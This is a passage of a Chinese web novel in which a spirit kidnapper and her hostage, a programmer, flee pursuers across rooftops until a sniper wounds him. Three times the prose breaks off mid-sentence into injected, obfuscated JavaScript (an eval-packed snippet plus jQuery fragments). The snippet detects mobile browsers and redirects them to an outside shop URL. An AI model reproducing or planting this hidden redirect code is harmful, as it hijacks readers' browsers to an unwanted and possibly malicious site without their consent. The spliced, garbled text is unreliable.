除此之外,愈发强大的妖力也带来了许多可能性,比如先前她带着安格森飞了一小段距离,这就是妖力所能做到的。叶琳也接触过一些除魅师,那些除魅师完全没有对妖的概念,所以双方并没有发生过冲突。慢慢的了解中,她发现人类的灵力和她所拥有妖力完全不同,灵力必须借助附魔器为媒介施展,而通过附魔器释放的灵力,往往具有一定的固定形态和攻击属性。对于妖来说,她可以将妖力作为纯粹的能量进行释放,从而做到一些辅助作用。 当然,这些并不是妖和人类之间最大的差异,最大且最明显的不同,体现在寿命上。 如今,叶琳其实已经走过了七十余年的岁月,她看上去仍如二十多年轻,而带着她一路走来的恩人,早已是风烛残年的老人。 “一周前,她走了。”叶琳说到这里,声音变得很小,像是在压抑颤抖的语气,“在家里的床榻上,悄无声息地离开了。” 听叶琳的描述,她的这位朋友,已有九十余岁的高龄。在睡梦中于床榻上离世,是寿终正寝,是天命已至。 长久地沉默过后,安格森说:“你要神树血,是想复活这位寿终正寝的老人?” “没错。” “可她是……”自然死亡的。安格森想这么说,但难以开口,他知道神树血的传说,但古人寻求神树血,从来都是为了复活因意外或者伤病死去的人。无疾而终、寿终正寝的死亡,向来是“福”的代表,证明老人在生命的最后得到了善终,但叶琳在否定它。 安格森想了想,换了一种措辞:“你想过你那位朋友的想法吗?她已经善终,是福报,你又何必硬要把人从黄泉路上拉回来,难道要让她拖着如此年迈的身体继续苟活吗,你这种做法太过自私了。” 叶琳突然情绪失控了,她抓住了安格森的衣襟,直视着他的眼睛:“我当然知道她是寿终正寝,知道我不该如此强硬地把人拉回来。但我的一切都是属于她的,是她给了我生命,是她让我能活下去,如果她不在了,我要怎么活……” 说到这里,叶琳突然愣住了。这算是什么?她本想反驳安格森所说的自私,但自己却突然发现,难道自己想把她救回来,只是为了能让自己活下去吗? “对,你说的没错。”挣扎与纠结过后,叶琳还是承认了:“我就是自私,妖就是这样自私的生物啊。” 安格森并没有受叶琳突如其来的激烈情绪的影响,他仍然很冷静地向叶琳传达着他的想法:“那你有没有想过,就算你真的拿到了神树血,让她活了过来,她能活多久呢?几年过后,她终究是会离开的,到那时你又该如何。” 看着沉默的叶琳,安格森接着说道:“还有那所谓的神树血,我也在一些古籍记载中了解过,根据我这边了解到的,神树血很有可能无法作用于这种自然死亡,它可以帮助天命未尽的人继续存活,却难以延长人的天命。” 这句话仿佛在给叶琳上死刑,她所执着于的这一切,可能到头来终究是一场空。 但事到如此,叶琳没办法回头了,即使没有作用,她也要去尝试。 “那你又如何呢,安格森。”叶琳突然话锋一转,瞄准了安格森的方向:“事到如今,你还想要回物零社吗?” 安格森愣了一下,但旋即明白了叶琳的意思。先前在郊区被围攻时,物零社已经展现态度,虽然林睿雅在极力掩盖了,但安格森能看出来,当时的物零社确实有想要除掉他的想法。或是说和α文件相比,物零社毫不犹豫地选择了结他的性命,想到这里,他突然想起当时自己突然被物零社找上时,对面十分真诚地邀请他加入,想要得到他这边的知识与技术,结果现在却卸磨杀驴,真是滑稽无比。 而现在,他已经帮助叶琳解开了文件的加密,如若之后再回到物零社的话,他的立场会变得十分危险。但这个可能性安格森之前也想过,只要能活着从叶琳这边离开,物零社无论如何都不至于威胁他性命……但其实也不一定,那份文件的内容过于严峻,严峻到物零社即使舍弃他的性命也要保证文件的安全。自己如今真的把文件内容泄露出去了,恐怕不能简单地从物零社离开。 除非,文件内容没有泄露出去。 想到这里,安格森迅速在键盘上按动了几下,进度已经达到90%的加载程序戛然而止。 “你干什么!”叶琳赶紧扼住他的手,但是为时已晚,那个加载窗口甚至已经彻底关闭了。 安格森有些不好意思,毕竟是他临时反悔:“你的话提醒了我,如果真的解开这个程序,我好像真的没有活路走了……” 叶琳扣着他的手腕,力气大得离谱,扣得人生疼。但叶琳现在哪在乎这些,她咬牙切齿地说:“你到底清不清楚你现在的处境?如果你现在不配合,我可是现在就能让你生不如死!” “反正我横竖都没什么好结局,有本事你现在就杀,我也不用再去发愁之后怎么应付物零社的事!”安格森这边也是彻底摆烂了,“说到底,把我整到这种进退维谷的境地里的不就是你吗?还要我搭上命去达成你的目的,哈,哪来得这种好事!” 这一出,倒是彻底把叶琳整不会了,她半天不知道下一步该怎么做,说到底,她就没想过杀人,甚至之前的用刑说辞也只是她为了威胁安格森说的,实际要怎么操作她根本没有细想过。安格森也是看准了这点,所以才敢突然破罐子破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121200|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔。 之前两人在郊区被物零社的人包围的时候,安格森就看出来了,叶琳现在虽然干着绑架这种事,但本质上就不是个坏人,不然当时她完全有能力把那二十多人杀了,反而远比控制幻境要省力得多。而叶琳并没有那么做,就足以证明她的本性如何。 半晌后,叶琳提出一个方案:“事成之后,我保证你的安全,并且给你一笔数额可观的报酬,怎么样?” “啊?” “或者你想要什么?在我能力范围内的,你可以提。” “我不缺钱……”安格森面露难色:“至于前者,我不认为你有能力保证我的安全。” “为什么?” “如果你真的有,那根本就不会被物零社找到藏身之处。” “那不过是……”叶琳本想说那不过是个意外,但她突然感知到了什么,附近突然出现了一股强大的灵力,正在不断地向这个房间逼近。 几乎是同时,她听到楼道里传来了声响,是敲门声,和一个年轻的男性声音:“您好,请问有人吗?我们是社区这边的,最近在调查居民满意度,请问您有时间填写一下问卷吗?” 从屋里的猫眼看出去,门外是两个年轻人,一男一女,看上去不过二十出头的年龄,像是出来社会实践的大学生。 安格森马上就听出来了,这是黎子鸣的声音,而叶琳的反应比他更快,没等他做出什么反应,就捂住了他的嘴,防止他发出任何试图求救的声音。叶琳不认识物零社的这些学生们,但她能感觉到,外面的一男一女身上都带着不弱的灵力,尤其是那个男生,让她有一种非常不妙的感觉。 敲门声持续了大概三四分钟,在她听到外边两人交谈“这房间是不是没人”之后,门外的声音渐渐消失了。叶琳这才放开安格森:“那两人是物零社的人。” “我不知道啊。”安格森打算装傻,如果现在来的是林欣予和黎子鸣,并且他们以这种方式试探,证明物零社的大量人手其实还没到达,只是派他俩来了解情况。或是说,确认他精确的位置。 “我没问你。”叶琳说,那两人是不是物零社的人根本不用问,从刚才安格森的反应就能看出来,不仅是物零社的人,肯定还是他熟人。但是这些人到底是怎么找到他们的?之前在郊区也是,明明自己什么破绽都没留下,为什么可以找到那么偏远的地方?现在也是,那两人突然就找了上来,还找了一些拙劣的借口……为什么要找这些借口让人开门?明明知道他们就在这附近,却不确定他们具体在哪个房间吗? 叶琳似乎已经找到答案了,她先是开始摸自己身上有没有奇怪的东西,摸了一圈后发现没有,旋即把手伸向了安格森。 “不是,你干什么!?别、别脱我衣服!!!” 面对叶琳的这些动作,安格森就像砧板上任人宰割的鱼肉,丝毫么有反抗之力,硬是被叶琳骑着压在房间里的床上,从肩膀开始一寸一寸顺着往下摸,终于在他衣服腰部的口袋里,摸到了一小块坚硬的东西。 是一个银色的u盘,上面刻着一个笑脸的表情。 “这是什么?”叶琳拿着u盘在安格森面前晃了晃。 安格森一边匆忙地整理刚刚被弄乱的衣服,一边回答她:“工作用的u盘啊,这不是很明显吗。” “没什么重要内容吧,我要拆了。”叶琳这么说着,但根本就没打算等安格森回复,手上一用力,u盘就在她手中裂成了两半。 裂开的u盘里,出现了一个明显不属于u盘结构的零件,正在闪烁着一闪一闪的红色灯光。 是一个微型的定位器。 看着神色愈发凝重的叶琳,安格森赶紧撇清关系:“这u盘是我同事给我的,我不知道里面有定位器!”他是真不知道,看到那个定位器被拆出来的时候,安格森马上想到的是林欣予当时能抓住徐贺就是在徐贺身上装了定位器,结果现在林睿雅给自己的u盘上也有定位器,这俩可真是不是一家人不进一家门啊。 “怪不得我们的位置一直能被找到……”叶琳看着那还在发光的定位器,手指发力,把那微小的零件辗得粉碎,“我们得换个地方。” 但终究,叶琳发现得晚了,透过窗户可以看到楼下停了越来越多的车,而车上下来的那些人,分明是之前在郊区见过的那些物零社成员。他们堵住了这栋居民楼楼下的出口,并且正在朝着他们所在的顶楼爬升。 楼下的路被堵死,那只能往上走了。 叶琳收起硬盘,又拉起安格森,不顾对方的反抗,打开窗户,拎着人从窗口直接飞了出去。 25.排查 时间稍微倒回之前一点,林欣予和黎子鸣其实在近一小时前就到达了定位所在的小区。 虽说定位的精准度很高,甚至可以看到定位点在小区具体的哪栋楼里面,但楼房有十层的高度,单凭地图上的定位根本无法分辨定位点究竟是在哪一个楼层,所以只能想些其他办法寻找具体的位置。 说实话,其实两人现在完全可以守在这里,因为那绑匪不可能带着人质一直躲在这栋楼里,只要守着门口,看有没有形迹可疑的人外出就行。然而就林欣予的立场来说,她却需要先一步把人找出来,才有和物零社争夺文件的资本。 但是要如何在十层三十家住户精准地把那两找到,却是一个难题。找一借口敲开每一户的房门吗?但这样显然会打草惊蛇,除非有什么好的借口或者理由…… “我想到办法了。”出乎意料的,说出这句话的居然是黎子鸣,“你在这等我一下,我去和小区物业聊一下。” 说完话,他拔腿就跑,不一会儿就没了踪影,只留下了在原地还在思考解决方法的林欣予。直到过了几十秒,林欣予才回过神,他刚刚说什么? 黎子鸣突如其来的积极让林欣予完全没有反应过来,在之前的各种行动中,黎子鸣一直站在一个很被动的位置,基本上都是别人让他做什么他就做什么,虽然看似完全不动脑子,但是没什么疑问也不怎么抱怨,说白了就是一个很好用的工具人。但是刚刚,黎子鸣好像展现出了一些出乎意料的主动性。以至于林欣予都有点开始好奇,他所谓的想到了好办法,究竟是什么办法。 不过不管如何,黎子鸣现在突然离开,正和了林欣予的意思,不然她还得想办法把黎子鸣支开,毕竟她还需要联系其他人。 正当林欣予准备拨通电话时,一抹不知道从多远的地方投射过来的红光突然晃过了她的眼睛,她条件反射地伸手挡住直射眼睛的红光,却看到那抹红光往下移动到地上,在她的脚边固定为一个红点,这是激光照射过来的模样。 林欣予有些无语,接着拨通电话,瞬间就被接通了。没等对方说话,林欣予略带指责地说道:“我知道你就位准备好了,但是别把枪口朝着我,走火怎么办。” “我认为像这样直接展示,比我跟你口述的可信度要高很多。”秦竹一略带笑意的声音从听筒对面传来:“现在那栋楼都在我的视野内,但是只能看到朝南的房间,如果他们在其他房间的话,需要你把人逼出来,我这边才能狙击。” “我知道。”林欣予回应他:“不过光听我那些描述,你就能确定那个绑匪的身份了?” “八九不离十吧。”秦竹一调整了一下狙击枪的位置,直射在地上的红点旋即消失:“至少目前我的认知里,人类科技还做不到这样的事。” 秦竹一远在三四百米外的距离,处于另一栋高楼的楼顶,可以轻松俯视那块区域的所有楼层。他又检查了一遍手里的枪械,确定没问题后,重新调整位置瞄准。 “你确定可以直接杀吗?”秦竹一再次向林欣予确认,“不需要留活口?” “以我们现在的判断,对面不是人类,杀了自然也不是什么问题。”林欣予说:“当然,能留活口最好还是留活口,如果实在留不下的话,还是杀了更安全。” 毕竟对面是非人的生物,林欣予可不想自己身边的人因为手下留情而受到生命威胁。 狙击的方式是秦竹一提出来的,他拒绝和梦寐正面接触,梦寐的能力很危险,但缺点也明显,那就是作用范围有限,只要拉开一定的距离,对面也不过是个身体素质强悍的人形怪物,血肉之身终究比不过一发狙击弹。 两人简短的交流并没有持续多久,林欣予看见远处黎子鸣正在往回走,随便嘱托两句后,利落地挂断电话。之前在关于那个名为苏瑾年的女人的话题中,秦竹一明显瞒着她很多事情,在她不断的追问下也闭口不言,甚至连梦寐的情报都是她在询问安格森之后才得知的。但饶是如此,她也相信秦竹一的能力,两人只是合作关系,她没有立场去要求秦竹一要对她毫无保留。 在思考的间隙,黎子鸣已经回来了,手上还拿着一个小纸袋。 “这是什么?”林欣予看着他手里的东西说。 “我和小区的物业聊了一下。”黎子鸣从纸袋里拿出两个工作证,还有一个打印在A4纸上的二维码:“这个片区的社区最近在做民意调查,要求工作人员一一上门去找居民填问卷。” 黎子鸣又伸手指了指小区门口的告示板:“但是他们这里人手不足,正在招募大学生志愿者帮忙,所以我就去问了下。”他又晃晃手里的工作证,证明着他已经得到肯定的答复:“刚好,定位点在的那栋楼还没有做过问卷,这样我们就可以合理地敲开每一户的家门了。” “黎子鸣,你……”林欣予向他投去了惊愕的目光:“你什么时候变这么聪明了?” “我成绩也不算差吧……” “只是我第一次看你主动在任务里面想办法。”林欣予说:“毕竟之前的任务里,你基本这只是服从别人的吩咐而已。” 林欣予这句话说的也不假,在之前的各种行动中,黎子鸣突出一个“摆烂”,并不是说吩咐给他的事情他做不好,而是除了切实分配给他的任务以外,他根本不会涉足其他事情。就像是家里妈妈让儿子去洗碗,他就会只洗碗不洗锅一样。所以黎子鸣现在突然爆发出极强的主动性,确实让林欣予十分惊讶。 站在黎子鸣的角度,他的想法其实也很简单:“毕竟这次有人被绑架了啊,人命关天的事。” 惊讶归惊讶,黎子鸣提出的方法确实切实可行,于是两人戴上社区的工作证,从一楼开始,一家一家向上寻找。 过程虽然不算坎坷,但也不完全顺利,一栋楼里的三十户居民各有特点,有十分配合填完问卷的,也有认定他俩是卖保险的坚决不肯开门的,好在两人只是为了确认目标的具体位置,不是真心要做这份差事,所以确定不是目标后也就迅速转到下一家门口了。 经过四十多分钟的排查,二人终于来到了顶楼。在这之前,楼下比较可疑的人家一共有两户,如果顶楼的这三户都正常,那只需要再排查一下楼下那两户人家就行。 而问题就出现在顶层的这户人家。 “您好,请问有人吗?”黎子鸣敲向了最后一扇门,“我们是社区这边的,最近在调查居民满意度,请问您有时间填写一下问卷吗?” 门后传来的是一片寂静。 黎子鸣没有放弃,还是在敲门,重复自己的说辞,但回应他的依旧只有安静的空气。持续敲门三四分钟而无人回复后,黎子鸣看向旁边的林欣予,而林欣予向他点点头,故意提高音量,说道:“这房间是不是没人?” 黎子鸣也装模作样地回应她:“估计是,我们先走吧。” 话罢,两人保持沉默,一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132133|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往电梯间走去。 直到上了电梯,林欣予才开口问道:“你觉得怎么样?” “刚刚觉得可疑的那两户可以排除了,他们肯定是在顶层的那个房子里。”黎子鸣回复道。 在他刚刚扣响门扉的时候,他和林欣予都看到了,透光的猫眼闪烁了一下。那是有人正在透过猫眼看门外是谁,虽然只有一瞬间,但是也足够两人判断,屋子里确实有人。一般来说,面对社区的人员,即使不想开门也会发言驱赶,而不会一直保持沉默。 更重要的是,黎子鸣在门口感受到了,一种有些熟悉的力量。之前在调查徐贺时,他有过一次经历,那天林欣予撇开他和苏佑容自己跑到了徐贺住所的附近,而当他和苏佑容追过来的时候,林欣予一人站在街上,当时的那块区域就弥漫着一股陌生力量的残骸。 今天,他在门口感受到的力量,就很类似于当时的那个残骸。虽然能感觉到一些不同,但毫无疑问,这种力量完全不同于人类所拥有的灵力。 看林欣予的反应,很显然,她也感受到了这股力量。不过,她似乎对这种异常力量的出现并不意外。黎子鸣其实很想问一句,这种令人不愉快的力量到底是什么东西,但最终却还是没有开口,或许只是他没兴趣思考这些事情吧。 但出乎意料的,林欣予主动开口了:“这个绑匪,很有可能不是人类。” 她有些语重心长地对黎子鸣说:“我接下来说的话,可能有些不可思议,但都是真实的。为了保证我们的安全,你一定要信我。” 这似乎是林欣予第一次用这样的态度和黎子鸣说话,如此严肃的语气,恐怕现在林欣予说明天就是世界末日,黎子鸣也会相信吧。 接下来的几分钟,林欣予用比较简单的方式对黎子鸣描述了梦寐的存在和这种妖怪的特殊能力,以及自己关于绑匪是梦寐的推测,希望黎子鸣能在后续有可能发生的近距离接触中保护好自己。虽然现在的这位绑匪,对人类并没有表现出强烈的敌意和杀意,但是林欣予从之前和苏瑾年的接触和秦竹一对这种妖怪的忌惮中依然能够感受到,或许现代人类对这些妖怪来说就是砧板上的鱼肉,稍有不慎就会丢了性命。 “你的意思是,绑匪是只妖怪。”黎子鸣在脑海中梳理了一下信息点,“那上次在徐贺家那边留下的能量残骸呢?也是梦寐留下的?” 林欣予沉思了一会:“那个应该不是梦寐的能量,我能感觉到一些细微的差别,很可能是一些别的存在……”说到这里,之前安格森对她提过的“麇”的存在从她的脑海中一闪而过,但这现在不重要,重要的是如何解决眼前的这只梦寐。“我也不是很清楚,不过基本能确定的是,绑架了安老师的确实是梦寐。” “而且目前很糟糕的是,既然我们能感知到对方的能量,对方也很有可能能感知到我们身上的灵力。” 这点确实是林欣予之前想法中的漏洞,她没想到灵力和妖力之间的感知会如此灵敏,如果对方真的也有同等灵敏的感知,那么在两个拥有灵力的人同时敲响那扇门的时候,他们就已经打草惊蛇了。 “睿雅姐那边的人马上就能到。”林欣予看了眼手机消息,又切换软件到定位地图的界面,却发现那上面的光点闪烁两下,突然熄灭。 果然打草惊蛇了。林欣予“啧”了一声,楼下,大部队的支援到达,物零社的人围住这栋住宅楼的每个出入口,从一楼开始,慢慢向上逼近。 26.狙击 物零社,是一个定位微妙的组织。 明面上讲,物零社属于半个官方组织,会承接很多涉及魑魅的官方任务,也会协助警方调查,在必要时甚至有合法的持枪权,但本质上,这并不是一个完全归官方管的组织。 在当下的主流价值观下,魑魅也好妖怪也好,这些非自然的存在不可能在明面上得到承认,物零社的很多工作自然也不好放在明面上进行。所以物零社一些在暗地里的动作,虽然没得到明确的认可,但也算是被默许——就比如,今天这群人来势汹汹地包围一栋居民楼,并且正试图闯入顶层的民宅。 两分钟的时间,物零社的人就用器械拆掉了那间屋子的大门,十几号人鱼贯而入,房里却是空无一人。 林睿雅走上前,摸了摸房间中电脑的机箱,机箱上还留着烫手的温度,不久前,屋子里肯定有人在。她走出门,看着楼道里被锁住的通向楼顶天台的楼梯,说:“留五个人守住下楼的出口,剩下的人,和我一起上顶楼找。” …… 安格森认为,如果叶琳不干绑架的勾当,那一定会是一位很优秀的杂技演员。 被叶琳拉着从窗户跳出去时,安格森只感觉一阵天旋地转,眼前的画面再度清晰后,两人已经来到楼顶天台之上。 下楼的路完全被物零社堵死,唯一可行的生路只有向上,这并不是一个很难的思维,物零社肯定也能想到,问题就是,叶琳接下来打算如何处理上天台寻找的人们。 这个方法也简单,叶琳依旧先堵住安格森的嘴,防止他出声。随后找了个能看见进入天台的门口的地方。这样,如果有人上天台找人,她就可以优先施加幻境,让自己和安格森“隐身”。如此一来,她不需要花费很多妖力,就能够很好地藏匿踪迹。 事实证明,这个方法非常有效。 在安格森的视角里,七八个人陆陆续续上到天台,而这些人完全无视了就处于门口侧面的安格森和叶琳,漫无目的地在天台上寻找什么,最终当然是一无所获。毫无疑问,这是叶琳的幻境正在起效,面对叶琳所使用的这种完全处于这些人类认知之外的能力,这群人类根本没有要破除的意识。 直到林欣予上来了。 林欣予和黎子鸣一起来到天台,两人最初的反应和其他人一模一样,四处环顾却毫无所获。天台视野很好,一眼就可以包揽楼顶全貌,可他们在天台上看到的,也只有物零社那几个人。 然而,在林欣予环顾一圈无果后,突然看向了某个地方。 那是叶琳抓着安格森正藏身的地方! 叶琳心里一惊,这女生突然如此坚定地看向了自己的所在之处,难道是幻境对她没奏效?正当她这样想时,却看见林欣予表情闪过一丝疑惑,把视线从那块地方挪开了。 难道是靠直觉看向了这里吗,真是个可怕的小姑娘。叶琳想着,紧了紧抓住安格森的手,又往阴影里退入几分。 现在只需等待,天台不过这么大点地方,物零社在上面找不着人,自然会前往其他地方寻找。有了这一点空隙,叶琳就能神不知鬼不觉地离开这里。 时间一分一秒过去,期间陆陆续续有二十多人上到天台试图找人,但毫无例外的,没有人在天台上看见人影。与此同时,一直守在楼下的人也表示,在此期间根本没有人走出这栋居民楼。几乎所有人都认定,对方已经不在这栋楼里了。 半个小时后,物零社暂时离开顶楼。叶琳也总算松口气,她朝还被自己堵着嘴的安格森说:“我要松手了,你保证不要大喊大叫。”毕竟物零社的人还没有走远。 安格森说不出话,只能乖巧地点头,直到叶琳把手松开,他才深吸一口气:“这真是…便利的能力啊……” “谢谢夸奖。”叶琳环顾了一下四周的环境,时间已经接近黄昏,天光开始昏暗起来,她站起身,说:“我们要找其他地方,先从这里离开。” “你等等。”安格森并没有跟着叶琳站起来:“我还是之前的话,我现在并不打算解开加密,就算你要杀我也一样。” 他没敢把话说明白,但话里的意思就是,现在你要么放我走,要么现在就动手杀人,自己反正没有再顺从跟她一起走的想法。 “别动不动就要死要活。”很显然,叶琳不打算这么简单地放过他,不管如何,她肯定要先把人带走,至于之后怎么强迫对方干活,可以慢慢琢磨。没有了那个该死的定位器,叶琳有自己不会被找到的信心。 而安格森那边的反抗行为,对叶琳而言毫无作用。 所以一如之前安格森被叶琳带上阳台一样,叶琳拉着连接两人的手铐链条,稍微一使劲就带着对方从楼顶跳了出去,在对方的惊呼声中平稳落到了隔壁居民楼的楼顶上。 “你、你下次干这种事能不能提前说一声!”安格森被吓得够呛,虽然他能感受到有股力量在空中托着自己的身体,但看着自己在三四十米高的空中悬空、脚下空无一物的感觉还是十分不美妙的。不过这一下也让他多少意识到,自己好像确实没什么反抗的资本。 “那我现在提前跟你说。”叶琳看安格森有些狼狈的样子,突然产生了一点得意的情绪:“我准备先离开这个小区,然后找个合适的楼房下到地面。”现在小区里还有很多物零社的人,而现在太阳几近落下,傍晚时分光线不好,就算从楼顶飞跃,地面的人也很难看见。盘算过后,叶琳觉得这样最安全。 说着这话,叶琳又重复了一遍之前的动作,带着安格森跃到另一栋楼房的天台之上。 …… “天台上看不见人吗?” 在林欣予上天台之前,其他从天台上下来的人,都给出了这样的回复。然而,耳机另一旁的秦竹一给她的消息确是,那两人现在就在天台上。 带着疑惑,林欣予自己走上了天台,入目所及,确实是一片空白。她环顾四周,只能看见灰白色的水泥地,和几个在天台上找人的同僚的身影,除此之外,自己什么都没看见。 与此同时,她的耳机里传来了秦竹一的声音:“小姐,他们在你右手边,两点钟的方向。” 那就是右前方,林欣予朝那里看去,看到的依然只有空空荡荡的水泥地板。 神奇,这就是梦寐的能力吗。林欣予不禁回想起上次见到梦寐,也就是那个名为苏瑾年的黑发女人时,自己其实也看见了幻境,那幻境虽然触觉真实,但终归是超脱了现实世界,不像是现在,这次的幻境很好的和现实世界融为一体了。 虽然通过场外因素,林欣予知道那两人的具体位置,但她并不打算说出来,毕竟现在物零社的人还在,绑匪如果被抓那自己就会失去接触文件的机会。所以当一旁的黎子鸣问她“有没有看到人”时,她回复了和其他人一样的答案:“没有。” 嘛,事实也是她根本没看到人啊。 接下来,就交给秦竹一了。 物零社出动这么多人手,找了半天,人却就在他们眼皮子底下。在远在三四百米外的秦竹一眼中,这幅景象未免过于滑稽。 随着时间过去,物零社撤出天台,而一直在天台躲着的那两人也开始下一步行动——从一栋楼的楼顶跳到另一栋楼的楼顶。 “这是蜘蛛侠吗……”秦竹一心里默默吐槽,开始调整狙击枪的角度,保证枪口的大概位置能一直追踪那两人,他可不想因为对方的高速移动而跟丢目标。从他的视角看,那梦寐的动向似乎是要离开这个小区,而这正和秦竹一的心意。就像叶琳不想碰到物零社的人,他也同样。 没过多久,那两个身影离开了小区的范围,和物零社的人拉开一定距离。此时有一个坏消息,那就是天空已经完全暗下,狙击视野受到很大阻碍,并且那两人离他更远,拉开了几乎五六百米的距离。但好消息是,这些对于秦竹一来说不算什么。 终于,秦竹一看准了一个时机,架稳狙击枪,扣下了扳机。 在空中高速移动的物体并不好瞄准,但秦竹一还是击中了,击中了那只连接着两人的手铐链条。瞄准这个地方的目的也很简单,他可不希望一会儿这人离开的时候,还得拖着一个女人的尸体。 只是,击中链条的时间似乎并不是很好。 那时候的叶琳正在“领”着安格森,从一栋楼的楼顶“飞”向另一栋楼。安格森明显是被拽过去的,如果是他自己,他打死也不会做“我可以从一栋楼的楼顶、跃过十米宽的间隔和五米高的高差,平安到达另一栋楼的楼顶”这种天方夜谭的事情。但无奈的是,他那时正被叶琳以一只牢固的手铐固定。所以当叶琳做出这个决定时,安格森毫无抵抗地被一股巨大的力量拉扯飞出。 以普通人的身体素质,断然是不可能越过这么大的间隔的,但叶琳不是普通人,或者说她不是人。虽然她也不会飞,但这点距离只要调动一些妖力,根本不会有任何问题——当然,这是建立在不出意外的情况上。 就在叶琳用那只手铐硬拽着安格森,向前跃去时,秦竹一瞄准那段短小的链条,他也是看准了才敢开枪,根据这两人跳出的抛物线来看,即使链条在空中断裂,安格森不再受叶琳妖力的影响,他也可以被惯性带到对面的楼顶。可能会摔断几根骨头,但这无伤大雅。 然而事实证明,秦竹一的预估出现了一些误差。 子弹擦着锁链的边缘滑过,饶是如此,也足以击碎那本就没那么牢固的链条。叶琳感觉到左手的重量突然消失了,她在诧异之下回头,就看见了还在空中飞舞的铁屑,以及已经开始下坠的安格森。 安格森则是更早的看见了这一幕,那纤细的铁链在他面前断裂了,自己失去了妖力的支撑,重新回到了重力的怀抱。 “叶……”他下意识的想向叶琳呼救,但却发现了一个更严峻的事情,依照他自己身上的惯性,他现在不会马上落地,而是会狠狠撞到对面那栋楼的墙上。 好在叶琳的反应很快,她发现自己没法在空中接触到安格森,于是干脆加大了力量,让自己先一步接触到了对面楼顶的地面,有了落脚点以后飞速转身、伸手,一把抓住了差点就要掉下去的安格森。 然而惯性的影响还是难以消除,安格森的身体就像是一根拴着绳子的铁球,被人在一个高点向前抛下,在快要接触到对面楼的时候突然把绳子收紧,此时铁球依然会因为惯性而撞到墙面。 所以在他的额头和水泥墙来了一次恶毒的接触以后,他用没被抓住的左手摸了摸额头,并且不出意外的从那上面摸出来了几滴鲜红的血。 “我想我应该加一点条件。”他看了看手上的血,又抬头看了看在上面抓住他右手、以防他掉下去的叶琳,“你得给我赔医药费。” 叶琳顿时有点无语:“你刚刚都已经要杀要剐随便了,结果现在和我提医药费?我松手的话你就可以直接去见上帝了。” 话是这么说,但叶琳是肯定不会真放手的。一个成年男人的重量对她来说不算什么,她调整了一个好发力的姿势,一用劲就把安格森拽了上来。 这栋楼也是个居民楼,但楼顶是开放给居民使用的,上面还放着一些种菜的大花盆。估计也是因为经常会有人上下,楼顶的边缘也额外砌了高度在50厘米左右的防护台,防止楼顶上的人掉下去。 安格森此时就趴在这个台子上喘气,刚刚那下着实把他吓得不清,而且那一撞也不是虚的,他到现在还觉得脑子有些昏昏沉沉,眼睛看东西有点重影,他现在严重怀疑自己可能被撞了点轻微脑震荡出来…… 叶琳倒是觉得没什么,这种飞来飞去的动作对于她来说算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145731|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家常便饭了,不过她还是耐心等安格森缓了一会儿,才跳下防护台,道:“追我的人要不了多久就会到,这地方不能久呆。我还准备了一个有设备的地方,跟我去那里。” 她看了看手上断开只剩一半的手铐:“我只有这一个手铐,所以希望你后面跟紧我,别想跑,我不想动粗,你应该也知道我们两边的实力差距。” “我、我知道,但是你让我再缓缓。”安格森好像稍微好了点,此时也在防护台上站了起来,抬了抬自己右手手腕上的另一半手铐,“话说你不想一下这东西为什么会突然断开吗,这玩意也不像是那么脆弱的东西……” 安格森话没说完,他的声音逐渐变小,然后彻底停了下来。他正看着叶琳的脸,突然发现叶琳的脸上出现了一个红点,像是一束从左侧打来的激光,红点晃了晃,没几秒就稳稳固定在了叶琳太阳穴的位置。 加上之前突然断裂的手铐链条,这个红点意味着什么,似乎已经不言而喻—— “趴下!有狙击枪!” 安格森在第一时间发出了警告,但声音的传递已经来不及了。在他喊出口的同时,他就伸手推倒了叶琳,并且下意识的,他向叶琳的左边侧了侧,用自己的躯干遮住了叶琳的头部。 几乎是同时,枪响了。 枪声在消音器的层层削弱下早已弱不可闻,然而那颗裹挟着火焰尾光的子弹,划破气流,势如破竹地击穿了一副人类的身体。 瞬间,血花飞溅! 好消息是,那颗子弹没有像预定那样击中叶琳的头,也没有击中为她挡子弹的安格森的心脏,甚至离心脏有段距离;但坏消息是,那颗子弹击穿了安格森右侧的肺叶,对于人类来说,这依旧很致命。 安格森到现在也不知道自己是怎么想的,他明明可以不提醒叶琳,叶琳这个绑匪被击杀,自己的危机自然也就化解了。但那是他下意识的动作,他不仅提醒了叶琳,甚至还冲上去挡住了她,或许是为了报答她之前没有让自己摔下楼?可明明带着自己跳楼的也是她…… 可这些同样不重要,因为他已经没有力气去思考这些了。 